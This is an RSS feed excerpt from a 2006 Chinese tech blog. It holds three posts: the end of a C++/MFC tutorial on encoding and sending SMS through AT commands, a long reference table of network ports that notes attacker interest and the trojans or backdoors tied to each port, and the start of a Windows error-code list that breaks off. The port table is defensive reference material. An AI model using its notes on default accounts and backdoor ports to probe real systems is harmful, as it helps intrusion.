		<p>CString CMyTools::SwapConvert(CString str)<br />{<br /> CString result;<br /> result = str;<br /> for(int i=0;i&lt;strlen(str);i+=2)<br /> {<br />  result.SetAt(i,str.GetAt(i+1));<br />  result.SetAt(i+1,str.GetAt(i));<br /> }<br /> return result;<br />}</p>
		<p>CString CMyTools::EnCodeChinese(CString strSrc)<br />{</p>
		<p> CString strResult = "",strTmp,str;<br /> char lpBuff;<br /> int len = strSrc.GetLength();<br /> int i;<br /> WCHAR * wc;<br /> wc = new WCHAR[len];</p>
		<p> for(i=0;i&lt;strSrc.GetLength();i++)<br /> {<br />  if((strSrc.GetAt(i) &amp; 0x80) &gt;&gt; 7 == 0)<br />   len++;<br /> }</p>
		<p> MultiByteToWideChar(CP_ACP, MB_PRECOMPOSED,(LPSTR)(LPCTSTR)strSrc,len,wc,len/2);<br /> for(i=0;i&lt;len/2;i++)<br /> {<br />  strTmp.Format("%4.4X",wc[i]);<br />  strResult += strTmp;<br /> }<br /> return strResult;<br />}</p>
		<p>CString CMyTools::DeCodeChinese(CString strSrc)<br />{<br /> char *pBuf;<br /> CString strMsg = strSrc;<br /> int nLength = strMsg.GetLength();<br /> if (nLength%2 == 1)<br /> {<br />  strMsg = strMsg.Left(nLength-1);<br />  int nNewLen = strMsg.GetLength();<br />  pBuf = new char[nNewLen/2];<br /> }<br /> else<br /> {<br />  pBuf = new char[nLength/2];<br /> }<br /> HexToChar(strMsg,pBuf);<br /> int i = 0,nZero = 0;<br /> while ((i = strMsg.Find("00",i))&gt;=0)<br /> {<br />  i += 2;<br />  nZero++;<br /> }<br /> char u_ret[255];<br /> memset(u_ret,0,255);<br /> int nResult=WideCharToMultiByte(<br />          CP_ACP,    // code page<br />          WC_COMPOSITECHECK, // character-type options<br />          (LPCWSTR)pBuf,  // string to map<br />          nLength/4,     //str.GetLength(),  // number of bytes in string<br />          (LPSTR)u_ret,  // wide-character buffer<br />          sizeof(u_ret),     // size of buffer<br />          NULL,<br />          NULL<br />           );<br /> <br /> CString sMessage;<br /> sMessage.Format("%s",u_ret);<br /> return sMessage;<br />}</p>
		<p>void CMyTools::HexToChar(CString sHex, char *p)<br />{<br />unsigned char byteToHex[] =<br />{'0', '1', '2', '3', '4', '5', '6', '7', '8', '9',<br /> 'A', 'B', 'C', 'D', 'E', 'F'};<br /> int nLen = sHex.GetLength();<br /> char *chBuf = p,//记录内存块的首地址<br />    *pch;<br /> CString sTemp,sLeft,sRight;<br /> for (int i=0; i&lt;nLen/4; i++)<br /> {<br />  sTemp = sHex.Left(4);<br />  sHex.Delete(0,4);<br />  sLeft = sTemp.Left(2);<br />  sRight = sTemp.Right(2);<br />  *chBuf = (char)strtoul(sRight.GetBuffer(2),&amp;pch,16);<br />  chBuf++;<br />  sRight.ReleaseBuffer();<br />  *chBuf = (char)strtoul(sLeft.GetBuffer(2),&amp;pch,16);<br />  chBuf++;          <br />  sLeft.ReleaseBuffer();<br /> }<br /> *chBuf='\0';</p>
		<p>}</p>
		<p>编码解码的工具都全了，现在来看“打包”函数：</p>
		<p>void CMsgSend::Pack(CString c_number,CString s_number,CString msg)<br />{<br /> int len;</p>
		<p>
				<br /> SCA= "00";</p>
		<p> //PDUTtpe<br /> PDUType = "31";</p>
		<p> //MR<br /> MR = "00";</p>
		<p> //DA<br /> s_number = s_number + "F";<br /> len = s_number.GetLength();<br /> DA.Format("%2.2X81",len-1);<br /> DA = DA + CMyTools::SwapConvert(s_number);</p>
		<p> //PID<br /> PID = "00";</p>
		<p> //DCS<br /> DCS = "08";</p>
		<p> //VP<br /> VP = "A7";</p>
		<p> //UD<br /> UD = CMyTools::EnCodeChinese(msg);</p>
		<p> //UDL<br /> UDL.Format("%2.2X",UD.GetLength()/2);</p>
		<p>
				<br /> m_strData = SCA + PDUType + MR + DA + PID + DCS + VP + UDL + UD;<br />}<br />例如我想给13875998800发送一条内容是hello的信息，短信中心号码为8613800731500，我们可以这样调用：</p>
		<p>msg.Pack("8613800731500","13875998800","hello");<br /> sendMsg = msg.GetMsgData();<br /> m.Format("AT+CMGS=%d\r\n",(sendMsg.GetLength()-msg.SCA.GetLength())/2);<br /> SendData((LPSTR)(LPCTSTR)m,m.GetLength());<br /> m.Format("%s%c",sendMsg,26);<br /> SendData((LPSTR)(LPCTSTR)m,m.GetLength());</p>
		<p>具体的编码过程上面文档里面说的已经够详细了，也不在这里多说。</p>
		<p>这里由于篇幅原因省略了很多东西，反正原理就是这些，核心代码也就是上面的一些编码解码的东西了，有些代码我也是从网上找到然后修改了一下来用的。</p>
		<p>其实用AT指令还可以干很多事情，甚至拨打电话之类的都没问题，拨打电话的AT指令很简单：</p>
		<p>ATD13875998800，只要发送这个指令过去，手机就会拨打13875998800这个号码。不过经过实践，发现被叫的手机无法正常的接听，提示要与电脑设备连接才可以接听，具体如何实现就没研究过了.....</p>
		<p>
				<br /> </p>
<img src ="http://www.cnitblog.com/raise/aggbug/9761.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/raise/" target="_blank">江可</a> 2006-04-27 13:47 <a href="http://www.cnitblog.com/raise/archive/2006/04/27/9761.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>端口详细介绍</title><link>http://www.cnitblog.com/raise/archive/2006/04/27/9760.html</link><dc:creator>江可</dc:creator><author>江可</author><pubDate>Thu, 27 Apr 2006 05:40:00 GMT</pubDate><guid>http://www.cnitblog.com/raise/archive/2006/04/27/9760.html</guid><wfw:comment>http://www.cnitblog.com/raise/comments/9760.html</wfw:comment><comments>http://www.cnitblog.com/raise/archive/2006/04/27/9760.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/raise/comments/commentRss/9760.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/raise/services/trackbacks/9760.html</trackback:ping><description><![CDATA[
		<p>  端口：0 <br />服务：Reserved <br />说明：通常用于分析操作系统。这一方法能够工作是因为在一些系统中“0”是无效端口，当你试图使用通常的闭合端口连接它时将产生不同的结果。一种典型的扫描，使用IP地址为0.0.0.0，设置ACK位并在以太网层广播。</p>
		<p>
				<br />端口：1 <br />服务：tcpmux <br />说明：这显示有人在寻找SGI Irix机器。Irix是实现tcpmux的主要提供者，默认情况下tcpmux在这种系统中被打开。Irix机器在发布是含有几个默认的无密码的帐户，如：IP、GUEST UUCP、NUUCP、DEMOS 、TUTOR、DIAG、OUTOFBOX等。许多管理员在安装后忘记删除这些帐户。因此HACKER在INTERNET上搜索tcpmux并利用这些帐户。 <br />端口：7 <br />服务：Echo <br />说明：能看到许多人搜索Fraggle放大器时，发送到X.X.X.0和X.X.X.255的信息。 <br />端口：19 <br />服务：Character Generator <br />说明：这是一种仅仅发送字符的服务。UDP版本将会在收到UDP包后回应含有垃圾字符的包。TCP连接时会发送含有垃圾字符的数据流直到连接关闭。HACKER利用IP欺骗可以发动DoS攻击。伪造两个chargen服务器之间的UDP包。同样Fraggle DoS攻击向目标地址的这个端口广播一个带有伪造受害者IP的数据包，受害者为了回应这些数据而过载。 <br />端口：21 <br />服务：FTP <br />说明：FTP服务器所开放的端口，用于上传、下载。最常见的攻击者用于寻找打开anonymous的FTP服务器的方法。这些服务器带有可读写的目录。木马Doly Trojan、Fore、Invisible FTP、WebEx、WinCrash和Blade Runner所开放的端口。 <br />端口：22 <br />服务：Ssh <br />说明：PcAnywhere建立的TCP和这一端口的连接可能是为了寻找ssh。这一服务有许多弱点，如果配置成特定的模式，许多使用RSAREF库的版本就会有不少的漏洞存在。 <br />端口：23 <br />服务：Telnet <br />说明：远程登录，入侵者在搜索远程登录UNIX的服务。大多数情况下扫描这一端口是为了找到机器运行的操作系统。还有使用其他技术，入侵者也会找到密码。木马Tiny Telnet Server就开放这个端口。 <br />端口：25 <br />服务：SMTP <br />说明：SMTP服务器所开放的端口，用于发送邮件。入侵者寻找SMTP服务器是为了传递他们的SPAM。入侵者的帐户被关闭，他们需要连接到高带宽的E-MAIL服务器上，将简单的信息传递到不同的地址。木马Antigen、Email Password Sender、Haebu Coceda、Shtrilitz Stealth、WinPC、WinSpy都开放这个端口。 <br />端口：31 <br />服务：MSG Authentication <br />说明：木马Master Paradise、Hackers Paradise开放此端口。<br />端口：42 <br />服务：WINS Replication <br />说明：WINS复制 <br />端口：53 <br />服务：Domain Name Server（DNS） <br />说明：DNS服务器所开放的端口，入侵者可能是试图进行区域传递（TCP），欺骗DNS（UDP）或隐藏其他的通信。因此防火墙常常过滤或记录此端口。 <br />端口：67 <br />服务：Bootstrap Protocol Server <br />说明：通过DSL和Cable modem的防火墙常会看见大量发送到广播地址255.255.255.255的数据。这些机器在向DHCP服务器请求一个地址。HACKER常进入它们，分配一个地址把自己作为局部路由器而发起大量中间人（man-in-middle）攻击。客户端向68端口广播请求配置，服务器向67端口广播回应请求。这种回应使用广播是因为客户端还不知道可以发送的IP地址。 <br />端口：69 <br />服务：Trival File Transfer <br />说明：许多服务器与bootp一起提供这项服务，便于从系统下载启动代码。但是它们常常由于错误配置而使入侵者能从系统中窃取任何 文件。它们也可用于系统写入文件。 <br />端口：79 <br />服务：Finger Server <br />说明：入侵者用于获得用户信息，查询操作系统，探测已知的缓冲区溢出错误，回应从自己机器到其他机器Finger扫描。 <br />端口：80 <br />服务：HTTP <br />说明：用于网页浏览。木马Executor开放此端口。 <br />端口：99 <br />服务：Metagram Relay <br />说明：后门程序ncx99开放此端口。 <br />端口：102 <br />服务：Message transfer agent(MTA)-X.400 over TCP/IP <br />说明：消息传输代理。 </p>
		<p>
				<br />端口：109 <br />服务：Post Office Protocol -Version3 <br />说明：POP3服务器开放此端口，用于接收邮件，客户端访问服务器端的邮件服务。POP3服务有许多公认的弱点。关于用户名和密码交 换缓冲区溢出的弱点至少有20个，这意味着入侵者可以在真正登陆前进入系统。成功登陆后还有其他缓冲区溢出错误。 <br />端口：110 <br />服务：SUN公司的RPC服务所有端口 <br />说明：常见RPC服务有rpc.mountd、NFS、rpc.statd、rpc.csmd、rpc.ttybd、amd等 <br />端口：113 <br />服务：Authentication Service <br />说明：这是一个许多计算机上运行的协议，用于鉴别TCP连接的用户。使用标准的这种服务可以获得许多计算机的信息。但是它可作为许多服务的记录器，尤其是FTP、POP、IMAP、SMTP和IRC等服务。通常如果有许多客户通过防火墙访问这些服务，将会看到许多这个端口的连接请求。记住，如果阻断这个端口客户端会感觉到在防火墙另一边与E-MAIL服务器的缓慢连接。许多防火墙支持TCP连接的阻断过程中发回RST。这将会停止缓慢的连接。<br />端口：119 <br />服务：Network News Transfer Protocol <br />说明：NEWS新闻组传输协议，承载USENET通信。这个端口的连接通常是人们在寻找USENET服务器。多数ISP限制，只有他们的客户才能访问他们的新闻组服务器。打开新闻组服务器将允许发/读任何人的帖子，访问被限制的新闻组服务器，匿名发帖或发送SPAM。</p>
		<p>端口：135 <br />服务：Location Service <br />说明：Microsoft在这个端口运行DCE RPC end-point mapper为它的DCOM服务。这与UNIX 111端口的功能很相似。使用DCOM和RPC的服务利用计算机上的end-point mapper注册它们的位置。远端客户连接到计算机时，它们查找end-point mapper找到服务的位置。HACKER扫描计算机的这个端口是为了找到这个计算机上运行Exchange Server吗？什么版本？还有些DOS攻击直接针对这个端口。 <br />端口：137、138、139 <br />服务：NETBIOS Name Service <br />说明：其中137、138是UDP端口，当通过网上邻居传输文件时用这个端口。而139端口：通过这个端口进入的连接试图获得NetBIOS/SMB服务。这个协议被用于windows文件和打印机共享和SAMBA。还有WINS Regisrtation也用它。 <br />端口：143 <br />服务：Interim Mail Access Protocol v2 <br />说明：和POP3的安全问题一样，许多IMAP服务器存在有缓冲区溢出漏洞。记住：一种LINUX蠕虫（admv0rm）会通过这个端口繁殖，因此许多这个端口的扫描来自不知情的已经被感染的用户。当REDHAT在他们的LINUX发布版本中默认允许IMAP后，这些漏洞变的很流行。这一端口还被用于IMAP2，但并不流行。<br />端口：161 <br />服务：SNMP <br />说明：SNMP允许远程管理设备。所有配置和运行信息的储存在数据库中，通过SNMP可获得这些信息。许多管理员的错误配置将被暴露在Internet。Cackers将试图使用默认的密码public、private访问系统。他们可能会试验所有可能的组合。SNMP包可能会被错误的指向用户的网络。</p>
		<p>端口：177 <br />服务：X Display Manager Control Protocol <br />说明：许多入侵者通过它访问X-windows操作台，它同时需要打开6000端口。 <br />端口：389 <br />服务：LDAP、ILS <br />说明：轻型目录访问协议和NetMeeting Internet Locator Server共用这一端口。 <br />端口：443 <br />服务：Https <br />说明：网页浏览端口，能提供加密和通过安全端口传输的另一种HTTP。 <br />端口：456 <br />服务：[NULL] <br />说明：木马HACKERS PARADISE开放此端口。 <br />端口：513 <br />服务：Login,remote login <br />说明：是从使用cable modem或DSL登陆到子网中的UNIX计算机发出的广播。这些人为入侵者进入他们的系统提供了信息。 <br />端口：544 <br />服务：[NULL] <br />说明：kerberos kshell <br />端口：548 <br />服务：Macintosh,File Services(AFP/IP) <br />说明：Macintosh,文件服务。 <br />端口：553 <br />服务：CORBA IIOP （UDP） <br />说明：使用cable modem、DSL或VLAN将会看到这个端口的广播。CORBA是一种面向对象的RPC系统。入侵者可以利用这些信息进入系统。 </p>
		<p>端口：555 <br />服务：DSF <br />说明：木马PhAse1.0、Stealth Spy、IniKiller开放此端口。 <br />端口：568 <br />服务：Membership DPA <br />说明：成员资格 DPA。 <br />端口：569 <br />服务：Membership MSN <br />说明：成员资格 MSN。 <br />端口：635 <br />服务：mountd <br />说明：Linux的mountd Bug。这是扫描的一个流行BUG。大多数对这个端口的扫描是基于UDP的，但是基于TCP的mountd有所增加（mountd同时运行于两个端口）。记住mountd可运行于任何端口（到底是哪个端口，需要在端口111做portmap查询），只是Linux默认端口是635，就像NFS通常运行于2049端口。 <br />端口：636 <br />服务：LDAP <br />说明：SSL（Secure Sockets layer） <br />端口：666 <br />服务：Doom Id Software <br />说明：木马Attack FTP、Satanz Backdoor开放此端口 <br />端口：993 <br />服务：IMAP <br />说明：SSL（Secure Sockets layer）<br />端口：1001、1011 <br />服务：[NULL] <br />说明：木马Silencer、WebEx开放1001端口。木马Doly Trojan开放1011端口。</p>
		<p>端口：1024 <br />服务：Reserved <br />说明：它是动态端口的开始，许多程序并不在乎用哪个端口连接网络，它们请求系统为它们分配下一个闲置端口。基于这一点分配从端口1024开始。这就是说第一个向系统发出请求的会分配到1024端口。你可以重启机器，打开Telnet，再打开一个窗口运行natstat -a 将会看到Telnet被分配1024端口。还有SQL session也用此端口和5000端口。 <br />端口：1025、1033 <br />服务：1025：network blackjack 1033：[NULL] <br />说明：木马netspy开放这2个端口。 <br />端口：1080 <br />服务：SOCKS <br />说明：这一协议以通道方式穿过防火墙，允许防火墙后面的人通过一个IP地址访问INTERNET。理论上它应该只允许内部的通信向外到达INTERNET。但是由于错误的配置，它会允许位于防火墙外部的攻击穿过防火墙。WinGate常会发生这种错误，在加入IRC聊天室时常会看到这种情况。 <br />端口：1170 <br />服务：[NULL] <br />说明：木马Streaming Audio Trojan、Psyber Stream Server、Voice开放此端口。 <br />端口：1234、1243、6711、6776 <br />服务：[NULL] <br />说明：木马SubSeven2.0、Ultors Trojan开放1234、6776端口。木马SubSeven1.0/1.9开放1243、6711、6776端口。 </p>
		<p>端口：1245 <br />服务：[NULL] <br />说明：木马Vodoo开放此端口。 <br />端口：1433 <br />服务：SQL <br />说明：Microsoft的SQL服务开放的端口。 <br />端口：1492 <br />服务：stone-design-1 <br />说明：木马FTP99CMP开放此端口。 <br />端口：1500 <br />服务：RPC client fixed port session queries <br />说明：RPC客户固定端口会话查询 <br />端口：1503 <br />服务：NetMeeting T.120 <br />说明：NetMeeting T.120 <br />端口：1524 <br />服务：ingress <br />说明：许多攻击脚本将安装一个后门SHELL于这个端口，尤其是针对SUN系统中Sendmail和RPC服务漏洞的脚本。如果刚安装了防火墙就看到在这个端口上的连接企图，很可能是上述原因。可以试试Telnet到用户的计算机上的这个端口，看看它是否会给你一个SHELL。连接到600/pcserver也存在这个问题。 <br />端口：1600 <br />服务：issd <br />说明：木马Shivka-Burka开放此端口。 </p>
		<p>端口：1720 <br />服务：NetMeeting <br />说明：NetMeeting H.233 call Setup。 <br />端口：1731 <br />服务：NetMeeting Audio Call Control <br />说明：NetMeeting音频调用控制。 <br />端口：1807 <br />服务：[NULL] <br />说明：木马SpySender开放此端口。 <br />端口：1981 <br />服务：[NULL] <br />说明：木马ShockRave开放此端口。 <br />端口：1999 <br />服务：cisco identification port <br />说明：木马BackDoor开放此端口。 </p>
		<p>端口：2000 <br />服务：[NULL] <br />说明：木马GirlFriend 1.3、Millenium 1.0开放此端口。 <br />端口：2001 <br />服务：[NULL] <br />说明：木马Millenium 1.0、Trojan Cow开放此端口。 <br />端口：2023 <br />服务：xinuexpansion 4 <br />说明：木马Pass Ripper开放此端口。 <br />端口：2049 <br />服务：NFS <br />说明：NFS程序常运行于这个端口。通常需要访问Portmapper查询这个服务运行于哪个端口。 <br />端口：2115 <br />服务：[NULL] <br />说明：木马Bugs开放此端口。</p>
		<p>
				<br />端口：2140、3150 <br />服务：[NULL] <br />说明：木马Deep Throat 1.0/3.0开放此端口。 <br />端口：2500 <br />服务：RPC client using a fixed port session replication <br />说明：应用固定端口会话复制的RPC客户 <br />端口：2583 <br />服务：[NULL] <br />说明：木马Wincrash 2.0开放此端口。 <br />端口：2801 <br />服务：[NULL] <br />说明：木马Phineas Phucker开放此端口。 <br />端口：3024、4092 <br />服务：[NULL] <br />说明：木马WinCrash开放此端口。 <br />端口：3128 <br />服务：squid <br />说明：这是squid HTTP代理服务器的默认端口。攻击者扫描这个端口是为了搜寻一个代理服务器而匿名访问Internet。也会看到搜索其他代理服务器的端口8000、8001、8080、8888。扫描这个端口的另一个原因是用户正在进入聊天室。其他用户也会检验这个端口以确定用户的机器是否支持代理。 <br />端口：3129 <br />服务：[NULL] <br />说明：木马Master Paradise开放此端口。 <br />端口：3150 <br />服务：[NULL] <br />说明：木马The Invasor开放此端口。 <br />端口：3210、4321 <br />服务：[NULL] <br />说明：木马SchoolBus开放此端口 </p>
		<p>
				<br />端口：3333 <br />服务：dec-notes <br />说明：木马Prosiak开放此端口 <br />端口：3389 <br />服务：超级终端 <br />说明：WINDOWS 2000终端开放此端口。 <br />端口：3700 <br />服务：[NULL] <br />说明：木马Portal of Doom开放此端口 <br />端口：3996、4060 <br />服务：[NULL] <br />说明：木马RemoteAnything开放此端口 <br />端口：4000 <br />服务：QQ客户端 <br />说明：腾讯QQ客户端开放此端口。 <br />端口：4092 <br />服务：[NULL] <br />说明：木马WinCrash开放此端口。 <br />端口：4590 <br />服务：[NULL] <br />说明：木马ICQTrojan开放此端口。 <br />端口：5000、5001、5321、50505 服务：[NULL] <br />说明：木马blazer5开放5000端口。木马Sockets de Troie开放5000、5001、5321、50505端口。 <br />端口：5400、5401、5402 <br />服务：[NULL] <br />说明：木马Blade Runner开放此端口。 <br />端口：5550 <br />服务：[NULL] <br />说明：木马xtcp开放此端口。 <br />端口：5569 <br />服务：[NULL] <br />说明：木马Robo-Hack开放此端口。 <br />端口：5632 <br />服务：pcAnywere <br />说明：有时会看到很多这个端口的扫描，这依赖于用户所在的位置。当用户打开pcAnywere时，它会自动扫描局域网C类网以寻找可能的代理（这里的代理是指agent而不是proxy）。入侵者也会寻找开放这种服务的计算机。，所以应该查看这种扫描的源地址。一些搜寻pcAnywere的扫描包常含端口22的UDP数据包。 </p>
		<p>
				<br />端口：5742 <br />服务：[NULL] <br />说明：木马WinCrash1.03开放此端口。 <br />端口：6267 <br />服务：[NULL] <br />说明：木马广外女生开放此端口。 <br />端口：6400 <br />服务：[NULL] <br />说明：木马The tHing开放此端口。 <br />端口：6670、6671 <br />服务：[NULL] <br />说明：木马Deep Throat开放6670端口。而Deep Throat 3.0开放6671端口。 <br />端口：6883 <br />服务：[NULL] <br />说明：木马DeltaSource开放此端口。 <br />端口：6969 <br />服务：[NULL] <br />说明：木马Gatecrasher、Priority开放此端口。 <br />端口：6970 <br />服务：RealAudio <br />说明：RealAudio客户将从服务器的6970-7170的UDP端口接收音频数据流。这是由TCP-7070端口外向控制连接设置的。 <br />端口：7000 <br />服务：[NULL] <br />说明：木马Remote Grab开放此端口。 <br />端口：7300、7301、7306、7307、7308 <br />服务：[NULL] <br />说明：木马NetMonitor开放此端口。另外NetSpy1.0也开放7306端口。</p>
		<p>端口：7323 <br />服务：[NULL] <br />说明：Sygate服务器端。 <br />端口：7626 <br />服务：[NULL] <br />说明：木马Giscier开放此端口。 <br />端口：7789 <br />服务：[NULL] <br />说明：木马ICKiller开放此端口。 <br />端口：8000 <br />服务：OICQ <br />说明：腾讯QQ服务器端开放此端口。 ' <br />端口：8010 <br />服务：Wingate <br />说明：Wingate代理开放此端口。 <br />端口：8080 <br />服务：代理端口 <br />说明：WWW代理开放此端口。 <br />端口：9400、9401、9402 <br />服务：[NULL] <br />说明：木马Incommand 1.0开放此端口。 <br />端口：9872、9873、9874、9875、10067、10167 <br />服务：[NULL] <br />说明：木马Portal of Doom开放此端口 <br />端口：9989 <br />服务：[NULL] <br />说明：木马iNi-Killer开放此端口。 <br />端口：11000 <br />服务：[NULL] <br />说明：木马SennaSpy开放此端口。<br />端口：11223 <br />服务：[NULL] <br />说明：木马Progenic trojan开放此端口。 <br />端口：12076、61466 <br />服务：[NULL] <br />说明：木马Telecommando开放此端口。 <br />端口：12223 <br />服务：[NULL] <br />说明：木马Hack'99 KeyLogger开放此端口。 <br />端口：12345、12346 <br />服务：[NULL] <br />说明：木马NetBus1.60/1.70、GabanBus开放此端口。 <br />端口：12361 <br />服务：[NULL] <br />说明：木马Whack-a-mole开放此端口。 <br />端口：13223 <br />服务：PowWow <br />说明：PowWow是Tribal Voice的聊天程序。它允许用户在此端口打开私人聊天的连接。这一程序对于建立连接非常具有攻击性。它会驻扎在这个TCP端口等回应。造成类似心跳间隔的连接请求。如果一个拨号用户从另一个聊天者手中继承了IP地址就会发生好象有很多不同的人在测试这个端口的情况。这一协议使用OPNG作为其连接请求的前4个字节。 </p>
		<p>端口：16969 <br />服务：[NULL] <br />说明：木马Priority开放此端口。 <br />端口：17027 <br />服务：Conducent <br />说明：这是一个外向连接。这是由于公司内部有人安装了带有Conducent"adbot"的共享软件。Conducent"adbot"是为共享软件显示广告服务的。使用这种服务的一种流行的软件是Pkware。 <br />端口：19191 <br />服务：[NULL] <br />说明：木马蓝色火焰开放此端口。 <br />端口：20000、20001 <br />服务：[NULL] <br />说明：木马Millennium开放此端口。 <br />端口：20034 <br />服务：[NULL] <br />说明：木马NetBus Pro开放此端口。 <br />端口：21554 <br />服务：[NULL] <br />说明：木马GirlFriend开放此端口。 <br />端口：22222 <br />服务：[NULL] <br />说明：木马Prosiak开放此端口。 </p>
		<p>
				<br />端口：23456 <br />服务：[NULL] <br />说明：木马Evil FTP、Ugly FTP开放此端口。 <br />端口：26274、47262 <br />服务：[NULL] <br />说明：木马Delta开放此端口。<br />端口：27374 <br />服务：[NULL] <br />说明：木马Subseven 2.1开放此端口。 <br />端口：30100 <br />服务：[NULL] <br />说明：木马NetSphere开放此端口。 <br />端口：30303 <br />服务：[NULL] <br />说明：木马Socket23开放此端口。 <br />端口：30999 <br />服务：[NULL] <br />说明：木马Kuang开放此端口。 <br />端口：31337、31338 <br />服务：[NULL] <br />说明：木马BO(Back Orifice)开放此端口。另外木马DeepBO也开放31338端口。 <br />端口：31339 <br />服务：[NULL] <br />说明：木马NetSpy DK开放此端口。 <br />端口：31666 <br />服务：[NULL] <br />说明：木马BOWhack开放此端口。 </p>
		<p>端口：33333 <br />服务：[NULL] <br />说明：木马Prosiak开放此端口。 <br />端口：34324 <br />服务：[NULL] <br />说明：木马Tiny Telnet Server、BigGluck、TN开放此端口。 <br />端口：40412 <br />服务：[NULL] <br />说明：木马The Spy开放此端口。 <br />端口：40421、40422、40423、40426、 <br />服务：[NULL] <br />说明：木马Masters Paradise开放此端口。 <br />端口：43210、54321 <br />服务：[NULL] <br />说明：木马SchoolBus 1.0/2.0开放此端口。 <br />端口：44445 <br />服务：[NULL] <br />说明：木马Happypig开放此端口。 <br />端口：50766 <br />服务：[NULL] <br />说明：木马Fore开放此端口。</p>
		<p>端口：53001 <br />服务：[NULL] <br />说明：木马Remote Windows Shutdown开放此端口。 <br />端口：65000 <br />服务：[NULL] <br />说明：木马Devil 1.03开放此端口。 <br />端口：88 <br />说明：Kerberos krb5。另外TCP的88端口也是这个用途。 <br />端口：137 <br />说明：SQL Named Pipes encryption over other protocols name lookup(其他协议名称查找上的SQL命名管道加密技术)和SQL RPC encryption over other protocols name lookup(其他协议名称查找上的SQL RPC加密技术)和Wins NetBT name service(WINS NetBT名称服务)和Wins Proxy都用这个端口。 <br />端口：161 <br />说明：Simple Network Management Protocol(SMTP)（简单网络管理协议） <br />端口：162 <br />说明：SNMP Trap（SNMP陷阱） <br />端口：445 <br />说明：Common Internet File System(CIFS)（公共Internet文件系统） <br />端口：464 <br />说明：Kerberos kpasswd(v5)。另外TCP的464端口也是这个用途。</p>
		<p>端口：500 <br />说明：Internet Key Exchange(IKE)（Internet密钥交换） <br />端口：1645、1812 <br />说明：Remot Authentication Dial-In User Service(RADIUS)authentication(Routing and Remote Access)(远程认证拨号用户服务) <br />端口：1646、1813 <br />说明：RADIUS accounting(Routing and Remote Access)(RADIUS记帐（路由和远程访问）) <br />端口：1701 <br />说明：Layer Two Tunneling Protocol(L2TP)(第2层隧道协议) <br />端口：1801、3527 <br />说明：Microsoft Message Queue Server(Microsoft消息队列服务器)。还有TCP的135、1801、2101、2103、2105也是同样的用途。 <br />端口：2504 <br />说明：Network Load Balancing(网络平衡负荷) <br />0 通常用于分析操作系统。这一方法能够工作是因为在一些系统中“0”是无效端口，当你试图使用一种通常的闭合端口 <br />连接它时将产生不同的结果。一种典型的扫描：使用IP地址为0.0.0.0，设置ACK位并在以太网层广播。</p>
		<p> </p>
<img src ="http://www.cnitblog.com/raise/aggbug/9760.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/raise/" target="_blank">江可</a> 2006-04-27 13:40 <a href="http://www.cnitblog.com/raise/archive/2006/04/27/9760.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>windows系统错误的详细说明</title><link>http://www.cnitblog.com/raise/archive/2006/04/27/9759.html</link><dc:creator>江可</dc:creator><author>江可</author><pubDate>Thu, 27 Apr 2006 05:33:00 GMT</pubDate><guid>http://www.cnitblog.com/raise/archive/2006/04/27/9759.html</guid><wfw:comment>http://www.cnitblog.com/raise/comments/9759.html</wfw:comment><comments>http://www.cnitblog.com/raise/archive/2006/04/27/9759.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/raise/comments/commentRss/9759.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/raise/services/trackbacks/9759.html</trackback:ping><description><![CDATA[
		<p>-  [转帖]windows系统错误的详细说明<br />1002 窗口无法用来发送消息。 <br />1003 无法完成此项功能。 <br />1004 标志无效。 <br />1005 卷不包含已识别的文件系统。请确认所有需要的文件系统驱动程序都已经加载，而且卷没有任何损坏。 <br />1006 某文件的卷已在外部改变，因而打开的文件不再有效。 <br />1007 要求的操作无法以全屏幕模式执行。 <br />1008 试图引用并不存在的符号。 <br />1009 配置注册表数据库已损坏。 <br />1010 配置注册表主键无效。 <br />1011 无法打开配置注册表主键。 <br />1012 无法读取配置注册表主键。 <br />1013 无法写入配置注册表主键。 <br />1014 必须使用日志文件或其他副本来恢复注册表数据库中的某个文件。恢复成功。 <br />1015 注册表已损坏。可能是一个包含注册表数据文件的结构已损坏，也可能内存中该文件的系统映像已损坏，或者因为备份副本（或日志）不存在（或损坏）导致无法恢复该文件。 <br />1016 由注册表引起的 I/O 操作发生了不可恢复的错误。注册表将不能读取、写出或刷新包含注册表系统映像的其中一个文件。 <br />1017 系统试图将文件加载或还原到注册表中，但是，指定的文件不是注册表文件格式。 <br />1018 试图在注册表键（已经标记为删除）中完成的操作非法。 <br />1019 系统无法在注册表日志文件中分配所需的空间。 <br />1020 无法在已经有子键或键值的注册表项中创建符号链接。 <br />1021 在易失的父键下不能创建固定的子键。 <br />1022 通知的更改请求已经完成，并且返回信息还没有被送到调用者的缓冲区中。调用者需要列举所有文件以找到改动的内容。 <br />1051 已将停止控制发送给与其他运行服务相关的服务。 <br />1052 所要求的控制对此服务无效。 <br />1053 服务没有及时地响应启动或控制请求。 <br />1054 无法为该服务创建线程。 <br />1055 服务数据库已锁定。 <br />1056 该服务的实例已在运行。 <br />1057 帐户名无效或者不存在，或者指定帐户名的密码无效。 <br />1058 服务无法启动，可能因为被禁用，也可能因为没有关联的可用设备。 <br />1059 已经指定了循环服务的从属关系。 <br />1060 指定的服务不是所安装的服务。 <br />1061 该服务此时无法接收控制消息。 <br />1062 服务尚未启动。 <br />1063 服务进程无法连接到服务控制程序。 <br />1064 处理控制请求时，服务出现意外情况。 <br />1065 指定的数据库不存在。 <br />1066 服务返回服务特定的错误码。 <br />1067 进程意外地终止。 <br />1068 无法启动从属服务或组。 <br />1069 由于登录失败，没有启动服务。 <br />1070 启动后，服务保持在启动挂起状态。 <br />1071 指定的服务数据库锁定无效。 <br />1072 指定的服务已经标记为删除。 <br />1073 指定的服务已经存在。 <br />1074 系统当前正以上一次运行成功的配置运行。 <br />1075 从属服务不存在，或已经标记为删除。 <br />1076 已接受使用当前引导作为最后的有效控制设置。 <br />1077 自从上一次启动以后，没有再次启动过该服务。 <br />1078 该名称已经用作服务名或服务显示名。 <br />1079 此服务的帐户不同于运行于同一进程上的其它服务的帐户。 <br />1080 只能为 Win32 服务设置失败操作，不能为驱动程序设置。 <br />1081 